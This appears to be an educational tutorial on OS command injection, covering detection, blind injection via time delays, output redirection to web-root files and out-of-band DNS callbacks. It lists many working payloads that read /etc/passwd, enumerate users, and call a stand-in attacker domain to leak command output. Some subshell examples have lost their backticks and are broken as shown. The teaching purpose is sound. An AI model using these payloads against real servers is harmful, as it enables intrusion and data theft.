OS Command Injection - Anas Education

What is OS Command Injection?#

OS Command Injection is a security vulnerability that occurs when an application passes unsafe (input) to a system shell. This allows an attacker to execute arbitrary commands on the server.

Example:

ping 127.0.0.1; ls -la

How to Detect Command Injection#

• Look for user inputs that get passed to system commands (e.g., ping, cat, ls, dir).
• Check for parameters that behave differently when special characters are added (e.g., ; && |).
• Observe unusual output or errors indicating command execution.

Exploitation Techniques#

Linux#

• Command Separator:

; ls
&& whoami
| cat /etc/passwd

• Subshell:

whoami
$(id)

Windows#

• Command Separator:

& dir
&& net user
| type C:\Windows\System32\drivers\etc\hosts

• Subshell:

%COMSPEC% /c whoami

Useful Payloads#

• ; cat /etc/passwd
• && whoami
• | id
• & dir
• && net user

How to Prevent Command Injection#

Use safe APIs that avoid shell execution.
Validate and sanitize all user input strictly.
Use allow-lists (only accept expected values).
Avoid building shell commands from user input.
Use parameterized calls or system libraries.

Blind OS Command Injection#

Blind OS Command Injection happens when the server executes the injected command but does not return its output in the HTTP response.

This means the attacker can't see the direct result of their command, so different techniques are needed to detect and exploit it.

Example Scenario#

Imagine a website with a feedback form:

• User submits their email and message.
• The server runs a command to send an email:

mail -s "Subject" -aFrom:user@site.com feedback@site.com

If user input is injected:

peter@normal-user.net ; ls

The ls command runs on the server, but the output isn't returned in the HTTP response. So echo won't work.

Detecting Blind Command Injection with Time Delays#

One way to confirm the injection is working is to cause a time delay on the server.

For example, using the ping command:

& ping -c 10 127.0.0.1 &

• -c 10 tells it to send 10 ICMP packets to itself.
• This delays the server response for ~10 seconds.
• If you see a delayed HTTP response, the injection succeeded.

Common Time-based Payloads#

• ; ping -c 10 127.0.0.1
• ||ping+-c+10+127.0.0.1||
• && ping -n 10 127.0.0.1 (Windows)
• | sleep 10
• & sleep 10
• && timeout 10 (Windows)

Why is it Dangerous?#

The server executes commands without showing results.
Attacker can still confirm success by measuring response time.
Harder to detect for defenders.
Can be used to exfiltrate data or gain shell access using advanced techniques.

Prevention#

Strict input validation.
Use safe APIs and avoid shell commands with user input.
Principle of least privilege on the server.
Monitoring for suspicious delays and logs.

Exploiting Blind OS Command Injection by Redirecting Output#

When an application is vulnerable to blind OS command injection, it executes injected commands but does not return the command's output in its HTTP response.

One powerful technique to exploit this is redirecting the output of the injected command to a file in the web root that you can retrieve via the browser.

Example#

If the server serves static resources from /var/www/static, you can use:

& whoami > /var/www/static/whoami.txt &

Explanation:

• whoami runs on the server.
• > redirects the output to the file whoami.txt.
• The file is written inside the web-accessible folder.

How to Retrieve the Output#

After injecting the payload, visit: https://vulnerable-website.com/whoami.txt (opens in a new tab)

This returns the contents of whoami.txt, showing the result of the command you injected.

Craft payload#

whoami → for redirect in this path /var/www/images/.

in Linux we can type in the vulnerable field :

; whoami > /var/www/images/whoami.txt

or

&& whoami > /var/www/images/whoami.txt

or

| whoami > /var/www/images/whoami.txt

or

|| whoami>/var/www/images/whoami.txt||

for exemple the vulnerable field email=||whoami>/var/www/images/output.txt|| objectif is : separator + command + > path

Why This Technique Works#

Solves the "blind" problem by storing output in a retrievable location.
Does not rely on timing or errors.
Works on servers that serve static files.
Simple and effective for reading command output without direct response.

Common Payload Examples#

• email=anas@test.com||whoami>/var/www/images/output.txt||
• ; id > /var/www/static/id.txt
• && whoami > /var/www/static/user.txt
• | cat /etc/passwd > /var/www/static/passwd.txt

Defensive Tips#

Validate and sanitize all user inputs.
Avoid including user input in system commands.
Restrict write permissions to web root folders.
Monitor unusual file creation in web-accessible directories.

Exploiting Blind OS Command Injection using Out-of-Band (OAST) Techniques#

When an application is vulnerable to blind OS command injection and doesn't return output in the HTTP response, you can use out-of-band (OAST) techniques to detect successful injection.

How It Works#

You inject a command that causes the server to make an external network request to a system you control. By monitoring your system, you can confirm whether the command was executed.

Example Payload#

& nslookup kgji2ohoyw.web-attacker.com &

Explanation:

• nslookup forces the server to resolve the given domain name.
• If the server performs the DNS lookup, you will see it in your logs.
• This confirms your command was executed, even if you can't see the output in the HTTP response.

Common Commands for OAST#

• nslookup yourdomain.com
• ping yourdomain.com
• curl yourdomain.com
• wget yourdomain.com

we can do all commands by Out of band exploitation in the vulnerable field : ||nslookup+whoami.BURP-COLLABORATOR-SUBDOMAIN||

Steps for Using OAST#

1. Set up a server or service to receive incoming DNS or HTTP requests (e.g. Burp Collaborator, interact.sh).
2. Craft your injection payload to make the server connect to your domain.
3. Submit the payload via the vulnerable parameter.
4. Monitor your server for incoming requests.

If you see a request → Your command injection worked!

Why is it Powerful?#

No need for output in the HTTP response.
Works even when server errors or timing delays are blocked.
Difficult for defenders to detect in logs.
Can be used to confirm even subtle injection opportunities.

References#

• OWASP Command Injection (opens in a new tab)
• PortSwigger Web Security Academy (opens in a new tab)